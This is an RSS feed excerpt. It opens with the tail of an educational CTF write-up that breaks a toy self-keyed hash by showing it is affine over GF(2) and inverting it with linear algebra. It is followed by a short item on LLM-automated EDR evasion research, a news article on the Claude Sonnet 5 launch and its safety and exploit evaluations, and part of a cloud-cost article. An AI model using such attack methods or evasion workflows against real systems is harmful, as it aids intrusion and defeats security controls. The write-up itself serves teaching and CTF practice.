bytes, which means each block is 256 bits long. Therefore, the input is processed in 32 byte blocks. If the input length is not exactly 32 bytes or is not a multiple of 32, the remaining bytes are filled using padding. We’ll discuss how the padding works later.</p><p>The code also defines a KEY_SBOX and a PBOX. Both are simply rearrangements of the numbers from 0 to 255. The KEY_SBOXis used during the substitution step, while the PBOX is used during the permutation step.</p><p>KEY_SBOX = [211, 243, 147, 179, …….., 44]</p><p>PBOX = [41, 214, 131, 48, …….., 124]</p><p>The cipher reads the input and uses a self keyed design, meaning that the plaintext itself is used as the encryption key.</p><p>First, a new SBox is derived by XORing the first byte of the key with every entry of the original KEY_SBOX. Since the key is the plaintext itself, the generated SBOX depends entirely on the input.</p><p>After deriving this new SBOX, each block goes through the following operations:</p><blockquote><em>Substitute the bytes using the derived SBOX.</em></blockquote><blockquote><em>Permute the bits using the PBOX.</em></blockquote><blockquote><em>XOR the result with the key, which is again the plaintext.</em></blockquote><p>These three operations constitute a single round, and the cipher repeats this process 100 times. The output produced after the 100th round becomes the final ciphertext.</p><h4>SBOX Reconstruction, Substitution, Permutation, and XOR with the Key</h4><p>Let’s discuss how the encryption process works in detail by breaking down each operation step by step.</p><h4><strong>Code Breakdown:</strong></h4><p>BLOCK_SIZE = 32 The cipher processes data in blocks of 32 bytes, which corresponds to 256 bits. Two large lookup tables are defined KEY_SBOX = [211, 243, 147, 179, …, 44]<br>PBOX = [41, 214, 131, 48, …, 124]. KEY_SBOX is used for byte substitution, while PBOX is used for bit permutation. An XOR helper function is also defined:</p><pre>xor = lambda a, b: bytes([x ^ y for x, y in zip(a, b)])</pre><p>This performs a byte by byte XOR operation between two byte strings.</p><p><strong>Constructor:</strong></p><p>The user supplied key is first padded to 32 bytes if necessary:</p><pre>if len(key) &lt; BLOCK_SIZE:<br>    pad = BLOCK_SIZE - len(key)<br>    key += bytes([pad]) * pad</pre><pre>self.key = key[:BLOCK_SIZE]</pre><p>If the input is shorter than 32 bytes, the padding routine extends it to exactly 32 bytes. The number of missing bytes is calculated and that value is repeatedly appended until the block reaches 32 bytes.</p><p>For example, if the input length is 29 bytes:</p><pre>32 - 29 = 3</pre><p>the following padding is added:</p><pre>0x03 0x03 0x03</pre><p>A key dependent SBOX is then generated:</p><pre>self.sbox = [KEY_SBOX[i] ^ self.key[0] for i in range(256)]</pre><p>Each entry of KEY_SBOX is XORed with the first byte of the key, producing a different SBOX for every key. For example, suppose the original SBOX begins as: KEY_SBOX = [211, 243, 147, 179, …, 44]. Assume the input is: “sharafu”. Since the cipher uses the plaintext itself as the key, the first byte of the key is: ‘s’ ASCII value = 115. Therefore, every entry of KEY_SBOX is XORed with 115:</p><blockquote><em>211 XOR 115 = 160</em></blockquote><blockquote><em>243 XOR 115 = 128</em></blockquote><blockquote><em>147 XOR 115 = 224</em></blockquote><blockquote><em>179 XOR 115 = 192</em></blockquote><blockquote><em>…</em></blockquote><blockquote><em>44 XOR 115 = 95</em></blockquote><p>As a result, the reconstructed SBOX begins as: self.sbox = [160, 128, 224, 192, …, 95]</p><p><strong>Substitution Layer:</strong></p><pre>def substitute(self, data):<br>    return bytes(self.sbox[b] for b in data)</pre><p>Each byte of the input block is replaced using the derived SBOX.</p><pre>Input byte -&gt; S-Box lookup -&gt; Output byte</pre><p>Only byte values change, their positions remain unchanged.Suppose the input block begins with: [115, 104, 97, 114]</p><p>which corresponds to: “s h a r” s = 115 h = 104 a = 97 r = 114 The substitution layer performs: Take the byte value, Use it as an index into the SBOX, Replace the original byte with the value stored at that index. For example: Take first byte ‘s’ = 115. In sbox table count 0 to 115th poition The value is 90. So replace 115 with 90. After substitution: [115, 104, 97, 114] became [90, 17, 204, 88].</p><p><strong>Permutation Layer:</strong></p><pre>def permute(self, data):<br>    for num in range(256):<br>        outnum = PBOX[num]</pre><p>The permutation layer works at the bit level. Every input bit is moved to a new position according to PBOX.</p><p>For example:</p><pre>PBOX[0] = 41</pre><p>means:</p><pre>Input bit #0 position -&gt; Output bit #41 position</pre><p>Bit values remain the same, but their positions are rearranged. After substitution, suppose we obtain: [90, 17, 204, 88]. These values are bytes, but the PBOX operates at the bit level. For example, the first byte: 90 = 01011010. Since each block contains 32 bytes, the total number of bits is: 32 × 8 = 256 bits. The PBOX specifies where each input bit should be moved: The PBOX operates on all 256 bits of the block. For example, consider the first byte 90 to bit = 01011010, which represents only the first 8 bits of the 256 bit block. The PBOX begins as [41, 214, 131, 48, …, 124], meaning that the first bit ( 0 ) is moved to position 41, the second bit ( 1 ) is moved to position 214, the third bit ( 0 ) is moved to position 131, and so on. The bit values themselves never change. only their positions are rearranged according to the PBOX. This process continues for all 256 bits, resulting in a heavily shuffled block and providing diffusion across the entire state.</p><p>Finally, the resulting 256 bit block is XORed with the key. In this challenge, the plaintext itself is used as the key, so the permuted block is XORed with the original input block. This key mixing step is performed at the end of every round before the next round begins.</p><p><strong>Encryption Routine:</strong></p><pre>for _ in range(100):<br>    block = self.substitute(block)<br>    block = self.permute(block)<br>    block = xor(block, self.key)</pre><p>Each block undergoes 100 rounds consisting of:</p><pre>Substitution<br>      ↓<br>Permutation<br>      ↓<br>XOR with Key</pre><p>The output of the final round becomes the ciphertext.</p><p><strong>Hash Construction:</strong></p><pre>self.state = b"\x00" * BLOCK_SIZE</pre><pre>for block in blocks:<br>    c = SecureCipher(block)<br>    self.state = xor(self.state, c.encrypt(block))</pre><p>The hash state starts as 256 zero bits.</p><p>For each block:</p><blockquote><em>The plaintext block itself is used as the encryption key.</em></blockquote><blockquote><em>The block is encrypted.</em></blockquote><blockquote><em>The result is XORed into the running hash state.</em></blockquote><p>The final state is returned as the digest. In this challenge, the resulting digest is: 1d6a2172025e1858754075123b6658532d1a4e775e1f43336e227d5a4529734f</p><h4>The Weakness: The Vulnerability</h4><p>The core weakness of this cipher is that every component is either linear or affine over GF(2). Since the substitution layer, permutation layer, and key mixing step all preserve linearity, repeating them 100 times does not improve security. Instead, the entire 100 round cipher collapses into a single affine transformation, which can be modeled and inverted efficiently using linear algebra.</p><p><strong>What is GF(2)?</strong></p><p>GF stands for Galois Field. GF(2) is the simplest possible field and contains only two elements: 0 and 1. All arithmetic is performed modulo 2, meaning addition is equivalent to XOR.</p><blockquote><em>0 + 0 = 0</em></blockquote><blockquote><em>0 + 1 = 1</em></blockquote><blockquote><em>1 + 0 = 1</em></blockquote><blockquote><em>1 + 1 = 0</em></blockquote><p>while multiplication follows the usual binary rules:</p><blockquote><em>0 × 0 = 0</em></blockquote><blockquote><em>0 × 1 = 0</em></blockquote><blockquote><em>1 × 0 = 0</em></blockquote><blockquote><em>1 × 1 = 1</em></blockquote><p>Since computers represent data as bits, cryptographic algorithms are often analyzed over GF(2).</p><p><strong>Linear vs. Nonlinear Functions</strong></p><p>A function is considered linear over GF(2) if it satisfies: f(a XOR b) = f(a) XOR f(b) for every possible pair of inputs. For example, the function: f(x) = x so f(5 XOR 3) = 5 XOR 3 = 6 f(6) = 6 and f(5) XOR f(3) = 5 = 5 XOR 3 =3 = 5 XOR 3 = 6 Since both sides are equal, the function satisfies the linearity property. a linear function means that it does not matter whether we apply the function before or after combining the inputs. In other words, <strong>“</strong>apply the function first, then XOR” and “XOR first, then apply the function” always produce the same result.</p><p>Modern ciphers intentionally introduce strong nonlinear components because linear systems can be solved efficiently. For example, AES relies heavily on its nonlinear SBOX.</p><p><strong>What Is an Affine Function?</strong></p><p>An affine function is simply a linear function followed by the addition of a constant. Mathematically, it is written as: f(x) = Mx XOR c. where M is a matrix and C is a constant vector. For example: f(x) = x XOR 1010. The XOR with a constant means the function is no longer strictly linear, but it still retains a highly structured form. Affine functions are therefore still easy to analyze and manipulate using linear algebra.</p><h4>Identifying the Vulnerability</h4><p>The first step was analyzing the SBOX. The SBOX is expected to introduce nonlinearity. we tested whether: S(a XOR b) = S(a) XOR S(b) XOR S(0).</p><p>Every possible pair was tested. This formula comes directly from the definition of an affine function. Suppose a function is affine: f(x) = Mx XOR c. where M is a matrix and c is a constant vector. Evaluating f(a XOR b) gives: f(a XOR b) = M(a XOR b) XOR c = Ma XOR Mb XOR c.</p><p>On the other hand: f(a) XOR f(b) = (Ma XOR c) XOR (Mb XOR c) = Ma XOR Mb. since cXOR c = 0. We are missing one copy of the constant c. To recover it, we evaluate the function at zero: f(0) = M0 XOR c = c because M0 = 0. Therefore, for every affine function: f(a XOR b) = f(a) XOR f(b) XOR f(0). This is why we test the SBOX using S(0) when checking whether it is affine. For affine functions, this equation must always be true.</p><p>To verify whether the SBOX is affine, every possible pair of input bytes was tested. Since an SBOX operates on 8 bit values, there are 256 x 256 = 65536 possible pairs (a, b). The test returned True for all 65,536 cases, meaning that the affine property holds for every possible input pair. Therefore, the entire SBOX is affine over GF(2)</p><p><strong>Why is the PBOX Linear?</strong></p><p>The PBOX is linear because it only rearranges the positions of bits without changing their values. For example, given an input such as 10110010, the PBOX may move bit 0 to position 5, bit 1 to position 7, and so on, but the actual bit values (0 or 1) remain unchanged. Since no arithmetic is performed and only positions are shuffled, the permutation always preserves XOR operations, meaning P(A XOR B) = P(A) XOR P(B). Therefore, the PBOX is a linear transformation over GF(2).</p><h4>Why Doesn’t 100 Rounds Improve Security?</h4><p>One might expect that performing 100 rounds would make the cipher secure, but this is not the case. Each round consists of substitution, permutation, and XOR with the key, all of which are either affine or linear operations. The composition of affine transformations remains affine, meaning <strong>Affine * Affine * Affine</strong> is still just an affine transformation. Therefore, even after repeating the round function 100 times, the entire cipher still collapses into a single affine transformation over GF(2).</p><h4>Mathematical Representation</h4><p>Since every component of the cipher is either linear or affine, the entire 100-round construction can be represented as a single affine transformation: E(x) = Mx XOR c. where x is the 256 bit plaintext vector, M is a 256 x 256 binary matrix, and c is a constant vector. In other words, the complete cipher behaves like one large algebraic equation.</p><h4>Understanding the Matrix</h4><p>A matrix simply describes how input bits influence output bits. For example, consider:</p><blockquote><em>M =</em></blockquote><blockquote><em>1 0 1</em></blockquote><blockquote><em>0 1 1</em></blockquote><blockquote><em>1 1 0</em></blockquote><p>If the input is x = [1 0 1], matrix multiplication over GF(2) computes the output bits as bit0 XOR bit2, bit1 XOR bit2, and bit0 XOR bit1. Thus, the matrix completely captures how every input bit affects the ciphertext.</p><h4>Recovering the Matrix</h4><p>Because the cipher satisfies E(x) = Mx XOR c, an attacker only needs to recover M and c. Encrypting the all zero plaintext immediately reveals the constant since M0 = 0, giving E(0) = 0. The attacker then encrypts the 256 basis vectors (1000…, 0100…, 0010…, …) all possible combinations in 256 bits. each containing exactly one bit set. After XORing each resulting ciphertext with c, the remaining value directly reveals one column of M. Repeating this process for all 256 basis vectors reconstructs the entire 256 x 256 matrix.</p><h4>Building the Exploit</h4><p>So, let’s build the exploit. First, we verify the linearity of the SBOX by testing whether S(a XOR b) = S(a) XOR S(b) XOR S(0) holds for all possible input pairs. If the property holds for all 65536 combinations, the SBOX is confirmed to be affine. Next, we reconstruct the affine representation by encrypting the all zero vector (0…0) and each basis vector (100..0, 010..0, 001..0, … ) which allows us to recover both the matrix M and the constant vector c. Using Gaussian elimination over GF(2), we then solve the resulting linear system to recover the plaintext. Given a ciphertext y, we solve Mx = y XOR c to obtain x, which directly yields the plaintext. No brute force is required, as the entire encryption collapses into solving a system of linear equations. The cipher completely lacks a nonlinear component. Because the SBOX itself is affine over GF(2), the entire 100 round construction remains affine and can be modeled, reconstructed, and inverted using linear algebra. This allows complete plaintext recovery without knowledge of the secret key.</p><p>Now that we understand the vulnerability, we can construct a solver that uses the SBOX and PBOX tables to recover the original plaintext. In this writeup, however, I'll provide a complete recovery script specifically for this hashing scheme, which can be used to recover the plaintext corresponding to the digests created with this hashing scheme.The solver reconstructs the affine transformation implemented by the cipher and then solves the resulting system of linear equations over GF(2) to recover the original message.</p><p><a href="https://github.com/sharafu-sblsec/affine-gf2-cipher-solver">GitHub - sharafu-sblsec/affine-gf2-cipher-solver: Solver for a CTF challenge recovering plaintext from a vulnerable affine block cipher using GF(2) linear algebra and Gaussian elimination.</a></p><p>Run the script and provide the target digest as input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U96YxSz73BEn-GilXboq-w.png"></figure><p>Now you can see that the hash has been successfully reversed and the original plaintext has been recovered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VHC4l7p5ijtEG8zTR6lAHQ.png"><figcaption>recovered plain text</figcaption></figure><p>This challenge is inspired by the HTB challenge <strong>“Always Has Been”</strong>. However, since the challenge is still active and continues to award points,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/191/1*Un1OH_GeVqLnGCP8r0jyqg.png"></figure><p>I cannot publish a direct writeup or solver, as doing so would violate HTB’s Terms of Service. Instead, I reconstructed the challenge with minimal modifications and wrote this explanation to demonstrate the underlying vulnerability and attack methodology for educational purposes.</p><h4>Happy Hacking</h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=ef21a98880b6" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/cryptanalysis-recovering-an-affine-encryption-scheme-using-gf-2-linear-algebra-ef21a98880b6">Cryptanalysis: Recovering an Affine Encryption Scheme Using GF(2) Linear Algebra</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI-Powered Reverse Engineering Turns EDR Rule Analysis Into Automated Evasion Workflow]]></title>
<description><![CDATA[LLMs are reshaping endpoint security research by turning what used to be slow, manual reverse engineering into an automated, repeatable evasion workflow. Recent hands-on experiments with advanced models driving disassembly and local analysis show that a compact harness LLM plus disassembler, a sh...]]></description>
<link>https://tsecurity.de/de/3637544/it-security-nachrichten/ai-powered-reverse-engineering-turns-edr-rule-analysis-into-automated-evasion-workflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637544/it-security-nachrichten/ai-powered-reverse-engineering-turns-edr-rule-analysis-into-automated-evasion-workflow/</guid>
<pubDate>Wed, 01 Jul 2026 08:07:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>LLMs are reshaping endpoint security research by turning what used to be slow, manual reverse engineering into an automated, repeatable evasion workflow. Recent hands-on experiments with advanced models driving disassembly and local analysis show that a compact harness LLM plus disassembler, a shared state file, and a loop can recover EDR artifacts, decrypt local signature […]</p>
<p>The post <a href="https://gbhackers.com/ai-powered-reverse-engineering/">AI-Powered Reverse Engineering Turns EDR Rule Analysis Into Automated Evasion Workflow</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic launches Claude Sonnet 5 at a steep discount to its top model as the company races toward a blockbuster IPO]]></title>
<description><![CDATA[Anthropic today released Claude Sonnet 5, a new AI model that the company says delivers near-flagship performance at mid-tier prices — a move designed to give cost-conscious enterprise developers access to powerful agentic capabilities just as the San Francisco-based AI lab barrels toward an init...]]></description>
<link>https://tsecurity.de/de/3636601/it-nachrichten/anthropic-launches-claude-sonnet-5-at-a-steep-discount-to-its-top-model-as-the-company-races-toward-a-blockbuster-ipo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636601/it-nachrichten/anthropic-launches-claude-sonnet-5-at-a-steep-discount-to-its-top-model-as-the-company-races-toward-a-blockbuster-ipo/</guid>
<pubDate>Tue, 30 Jun 2026 20:32:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> today released <a href="https://www.anthropic.com/news/claude-sonnet-5">Claude Sonnet 5</a>, a new AI model that the company says delivers near-flagship performance at mid-tier prices — a move designed to give cost-conscious enterprise developers access to powerful agentic capabilities just as the San Francisco-based AI lab barrels toward an initial public offering that will test whether the private market's staggering AI valuations can survive public scrutiny.</p><p>The release, which Anthropic describes as "<a href="https://www.anthropic.com/news/claude-sonnet-5">the most agentic Sonnet model ye</a>t," makes Sonnet 5 the default model for users on Anthropic's Free and Pro plans, while also making it available to Max, Team, and Enterprise customers. Introductory <a href="https://platform.claude.com/docs/en/about-claude/pricing">API pricing</a> is set at $2 per million input tokens and $10 per million output tokens through August 31, after which it rises to $3 and $15 respectively — still well below the $5 input and $25 output pricing of Anthropic's top-of-the-line Opus 4.8.</p><p>The strategic logic is unmistakable: Anthropic is trying to democratize access to capabilities that until very recently only its most expensive models could deliver, while building the kind of broad-based developer adoption that will look attractive in an <a href="https://www.anthropic.com/news/confidential-draft-s1-sec">S-1 filing</a>.</p><h2><b>Sonnet 5 benchmarks show the mid-tier model closing in on Anthropic's flagship Opus</b></h2><p><a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a> posts major gains over its predecessor, <a href="https://www.anthropic.com/news/claude-sonnet-4-6">Sonnet 4.6</a>, across every evaluation Anthropic disclosed. On <a href="https://www.swebench.com/">SWE-bench Pro</a>, an agentic coding benchmark, Sonnet 5 scores 63.2% compared with Sonnet 4.6's 58.1% — a jump that brings it within striking distance of Opus 4.8's 69.2%. On <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, another coding evaluation, the gap narrows further: 80.4% for Sonnet 5 versus 67.0% for Sonnet 4.6 and 82.7% for Opus 4.8.</p><p>In multidisciplinary reasoning, as measured by <a href="https://agi.safe.ai/">Humanity's Last Exam</a>, Sonnet 5 scores 43.2% without tools and 57.4% with tools — the latter figure essentially matching Opus 4.8's 57.9%. On computer use tasks evaluated through OSWorld-Verified, Sonnet 5 reaches 81.2%, up from 78.5%. And on <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA v2</a>, a knowledge-work benchmark, it scores 1,618 — surpassing Opus 4.8's 1,615 and far exceeding Sonnet 4.6's 1,395.</p><p>The pattern across these evaluations tells a consistent story: <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a> doesn't merely inch forward from its predecessor. It vaults into a performance tier that overlaps substantially with Anthropic's flagship model, while costing roughly 60% less per token at standard pricing and even less during the introductory period.</p><h2><b>Enterprise partners say Sonnet 5's agentic AI capabilities finish jobs that previous models abandoned</b></h2><p>The emphasis on agentic capabilities — the ability to plan, use tools like browsers and terminals, and execute multi-step workflows autonomously — reflects where the AI industry's center of gravity has shifted in 2026. Enterprises are no longer simply asking chatbots questions; they are deploying AI systems that can navigate complex software environments, execute multi-step coding tasks, and operate with minimal human supervision.</p><p>Early access partners painted a picture of a model that doesn't just start tasks but finishes them. Sualeh Asif, co-founder of Cursor, the AI-powered code editor that has become a bellwether for developer tool adoption, said that "with Claude Sonnet 5, agents stay on plan, follow our conventions, and ship clean multi-step changes, all at an efficient cost." Daniel Shepard, a senior engineer at Zapier, described handing the model a two-part automation job — updating Salesforce account tiers and sending a launch announcement — that "used to stall halfway" with previous models but now completes end to end.</p><p>These testimonials matter because they describe exactly the kind of reliability gap that has kept many enterprises from moving agentic AI from pilot programs to production deployments. A model that gets 80% of the way through a complex task before stalling creates more problems than it solves; one that reliably completes the full workflow changes the economics of automation. Anthropic also introduced cost-performance curves showing that developers can now adjust effort levels across <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a> and <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> to find the optimal balance of cost and accuracy for their specific use case — a granularity that reflects growing sophistication in how enterprises consume AI services.</p><h2><b>An updated tokenizer boosts Sonnet 5 performance but could quietly raise costs for some workloads</b></h2><p>One technical detail <a href="https://www.anthropic.com/news/claude-sonnet-5">buried in the announcement's footnotes</a> deserves attention: Sonnet 5 uses an updated tokenizer that changes how the model processes text, similar to the change Anthropic introduced with Opus 4.7.</p><p>The tradeoff is that the same input can map to roughly 1.0 to 1.35 times as many tokens depending on content type. Anthropic says the introductory pricing is calibrated to make the transition "roughly cost-neutral," but enterprise customers running high-volume workloads will want to benchmark their specific use cases carefully before assuming their bills won't change.</p><h2><b>Anthropic says Sonnet 5 is safer than its predecessor, but its most capable models still lead on alignment</b></h2><p>Anthropic's safety disclosures reveal a nuanced picture. The company reports that <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a> shows lower rates of hallucination and sycophancy than <a href="https://www.anthropic.com/news/claude-sonnet-4-6">Sonnet 4.6</a>, is better at refusing malicious requests, and is more resistant to prompt injection attacks in agentic contexts. On Anthropic's automated behavioral audit — which tests for a wide range of misaligned behaviors including cooperation with misuse and deception — Sonnet 5 scored lower (meaning safer) overall than Sonnet 4.6.</p><p>However, Sonnet 5 showed "somewhat higher rates of misaligned behavior" compared with the more capable <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> and Anthropic's <a href="https://www.anthropic.com/claude/mythos">Claude Mythos Preview</a>, the company's powerful but tightly restricted cybersecurity-focused model. On a Firefox 147 exploit development evaluation created in collaboration with Mozilla, neither Sonnet model could develop a working exploit — both scored 0.0% — though Sonnet 5 showed a slightly higher partial success rate (13.2%) than Sonnet 4.6 (8.8%). Both remain far below Opus 4.8 (68.8% working exploits) and Mythos 5 (88.4%).</p><p>Because of these incremental gains in cyber-adjacent capabilities, Anthropic launched Sonnet 5 with cyber safeguards enabled by default — real-time systems that detect and block dangerous cybersecurity usage. The safeguards mirror those on Opus 4.7 and 4.8 but are less restrictive than those applied to <a href="https://www.anthropic.com/news/claude-fable-5-mythos-5">Fable 5</a>, the latest Mythos-class model that <a href="https://www.bloomberg.com/news/videos/2026-06-10/the-opening-trade-6-10-2026-video">Bloomberg reported</a> on June 10 is "blocked from responding to queries related to cybersecurity and biology." Organizations enrolled in <a href="https://support.claude.com/en/articles/14604842-real-time-cyber-safeguards-on-claude">Anthropic's Cyber Verification Program</a> automatically receive the same access on Sonnet 5 without needing to reapply.</p><h2><b>From $14 billion to $47 billion in revenue: Sonnet 5 arrives as Anthropic's IPO narrative takes shape</b></h2><p>The <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a> launch arrives at what may be the most consequential moment in Anthropic's short history. The company confidentially filed its IPO prospectus with the SEC in early June, setting up what CNBC has described as "<a href="https://www.cnbc.com/2026/06/05/tech-download-anthropic-ipo-ai-valuations.html">the most scrutinized public offering in tech history</a>."</p><p>The financial trajectory has been extraordinary. In February, Anthropic raised $30 billion at a <a href="https://www.anthropic.com/news/anthropic-raises-30-billion-series-g-funding-380-billion-post-money-valuation">$380 billion valuation</a>, with the company reporting $14 billion in annualized revenue that had "grown more than tenfold in each of the past three years," as <a href="https://www.theguardian.com/technology/2026/feb/12/anthropic-funding-round">The Guardian reported</a>. </p><p>By late May, Anthropic had closed a <a href="https://www.anthropic.com/news/series-h">$65 billion Series H round at a $965 billion</a> post-money valuation — co-led by Altimeter Capital, Sequoia Capital, and others — with a revenue run rate that had crossed $47 billion. Harrison Rolfes, an analyst at PitchBook, <a href="https://www.cnbc.com/2026/06/05/tech-download-anthropic-ipo-ai-valuations.html">told CNBC</a> that the number that will "either validate or collapse the entire narrative the private markets have been pricing for three years" won't be the valuation or revenue, but gross margin — a figure no outside observer has yet seen.</p><p>In this context, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a> serves a dual purpose. For developers, it offers genuine capability improvements at competitive prices. For Anthropic's IPO narrative, it demonstrates the company can deliver a compelling product at a price tier that could drive the kind of broad adoption Wall Street rewards — high-volume, recurring API revenue from thousands of enterprise customers.</p><h2><b>Government deals and growing competition define the market Sonnet 5 enters</b></h2><p>The timing also aligns with Anthropic's aggressive push into institutional contracts. Just yesterday, California Governor Gavin Newsom announced a first-of-its-kind partnership providing <a href="https://www.gov.ca.gov/2026/06/29/governor-newsom-announces-a-first-of-its-kind-partnership-providing-anthropic-tools-to-state-agencies-and-improving-services-for-californians/">Claude to all state agencies at a 50% discount</a>, with free workforce training.</p><p>Kate Jensen, Anthropic's Head of Americas, called it an effort to "put Claude to work for the people who keep this state running." The deal — which extends to California's cities and counties — represents exactly the kind of durable, recurring adoption that could anchor revenue well beyond the developer community.</p><p>But Anthropic's release lands in an increasingly crowded field. OpenAI, which <a href="https://openai.com/index/accelerating-the-next-phase-ai/">raised a $122 billion round in March</a> at an $852 billion valuation, is pursuing its own IPO. Elon Musk's SpaceX, which merged with xAI, priced its IPO at <a href="https://www.cnbc.com/2026/06/03/spacex-ipo-stock-price-roadshow-musk.html">$135 per share with a $1.77 trillion valuation</a>. Google, Meta, and a growing wave of well-funded competitors — including Asian AI startups that, as the Wall Street Journal has reported, are developing Mythos-like cybersecurity capabilities — are all vying for the same enterprise market.</p><p>Gil Luria, head of technology research at D.A. Davidson, told CNBC that while Anthropic "<a href="https://www.cnbc.com/2026/06/05/tech-download-anthropic-ipo-ai-valuations.html">appears to have the lead</a>" in frontier AI models, "much of their current usage is for trials and experimentation and that may not sustain." That observation cuts to the heart of the challenge facing every frontier AI lab: converting experimental developer usage into durable, production-grade revenue.</p><h2><b>The real test for Sonnet 5 isn't benchmarks — it's whether cheaper AI can sustain a trillion-dollar story</b></h2><p>Sonnet 5's positioning — offering near-Opus performance at Sonnet prices — is a direct play for that conversion. Enterprise customers experimenting with expensive Opus-class models may find that Sonnet 5 delivers sufficient quality for production workloads at a price point that finance teams can approve at scale. If it works, it could accelerate the shift from experimentation to deployment that every AI company needs to justify its valuation.</p><p>Three things will determine whether <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a> matters beyond the initial benchmark charts. Real-world agentic reliability is the first: benchmarks measure capability, but production deployments measure consistency, and the true test will come when thousands of developers push the model through messy, unpredictable workflows at scale.</p><p>The tokenizer economics are the second: the updated tokenizer's 1.0 to 1.35x token expansion could quietly erode the pricing advantage for certain workloads, and enterprise customers should run their own cost analyses rather than relying on headline per-token prices. The third is the IPO narrative itself: when Anthropic's S-1 eventually becomes public, investors will scrutinize whether the Sonnet tier — cheaper but high-volume — or the Opus tier — expensive but high-margin — drives the bulk of revenue and, critically, gross profit.</p><p>As <a href="https://www.cnbc.com/2026/06/05/tech-download-anthropic-ipo-ai-valuations.html">PitchBook's Rolfes told CNBC</a>, the 2026 IPO window "either becomes the most consequential IPO cycle since the dot-com era or the most expensive lesson in narrative-versus-fundamentals that public markets have ever taught."</p><p>Anthropic is betting that a model good enough to rival its flagship and cheap enough to run at scale is the product that closes the gap between those two outcomes. The public markets will soon decide whether they agree.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI is exposing the real limits of enterprise cloud strategy]]></title>
<description><![CDATA[Across the global corporations, I advise, in financial services, healthcare, retail and the public sector, the same crisis surfaces in leadership meetings. Executives approved a bold AI roadmap. Cloud spending climbed 40, 50, even 70 percent. And yet the AI workloads that made perfect sense in th...]]></description>
<link>https://tsecurity.de/de/3635329/it-security-nachrichten/ai-is-exposing-the-real-limits-of-enterprise-cloud-strategy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635329/it-security-nachrichten/ai-is-exposing-the-real-limits-of-enterprise-cloud-strategy/</guid>
<pubDate>Tue, 30 Jun 2026 13:06:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Across the global corporations, I advise, in financial services, healthcare, retail and the public sector, the same crisis surfaces in leadership meetings. Executives approved a bold AI roadmap. Cloud spending climbed 40, 50, even 70 percent. And yet the AI workloads that made perfect sense in the boardroom presentation now stall, overshoot their budgets or collapse under production load before they reach real users.</p>



<p>I am writing this just after the spring 2026 conference season, and the signal from <a href="https://cloud.google.com/blog/topics/google-cloud-next/google-cloud-next-2026-wrap-up" rel="nofollow">Google Cloud Next</a>, <a href="https://news.microsoft.com/build-2026/" rel="nofollow">Microsoft Build</a>, and a run of <a href="https://aws.amazon.com/events/summits/" rel="nofollow">AWS summits</a> only sharpens the point. Over the past several weeks the industry shipped, in production form, the infrastructure to run and govern AI at scale. What most enterprises still lack is the operating model to decide how to use it.</p>



<p>The problem is not the AI models. The models work. The problem is that organizations built their AI ambitions on cloud strategies designed for a world that no longer exists: strategies built for SaaS applications, predictable traffic and linear cost curves. AI workloads break all three assumptions at once.</p>



<h2 class="wp-block-heading">Why AI breaks traditional cloud assumptions</h2>



<p>For a decade, cloud-first served enterprises well. It delivered elasticity, reduced capital expenditure and democratized access to compute, because enterprise workloads were predictable: web applications, ERP systems, databases and analytics pipelines that scaled smoothly and billed in ways finance could model on a spreadsheet. GenAI and agentic AI change every one of those assumptions at once.</p>



<p>When organizations move AI into production, real inference, retrieval pipelines, vector search and real-time decisioning, the cloud equation breaks in at least five ways:</p>



<ol class="wp-block-list">
<li>Training clusters demand power densities far above standard compute.</li>



<li>Inference needs millisecond latency that network geography can defeat.</li>



<li>Vector databases generate cost spikes invisible in standard billing.</li>



<li>Agentic workloads chain hundreds of tool calls with cascading dependencies.</li>



<li>And data-sovereignty rules constrain where any of them can run.</li>
</ol>



<p>In short, what works at the platform level fails at the workload level.</p>



<p>The costs are the first thing to surprise leaders, because they hide. <a href="https://www.cloudzero.com/blog/ai-cost-management/" rel="nofollow">CloudZero’s analysis</a> and the FinOps teams I work with put it plainly: AI spend surfaces as generic compute, storage and instance line items, rarely labeled “AI.” Three layers drive most of the waste:</p>



<ol class="wp-block-list">
<li>The most visible is LLM API cost, where stateless calls re-send the full conversation history on every request, so a deployment with a couple hundred users can burn many times the token budget in the business case.</li>



<li>The biggest is idle GPU: teams’ provision for peak and then run at 10 to 20 percent utilization, and most miss their AI cost forecasts by more than a quarter.</li>



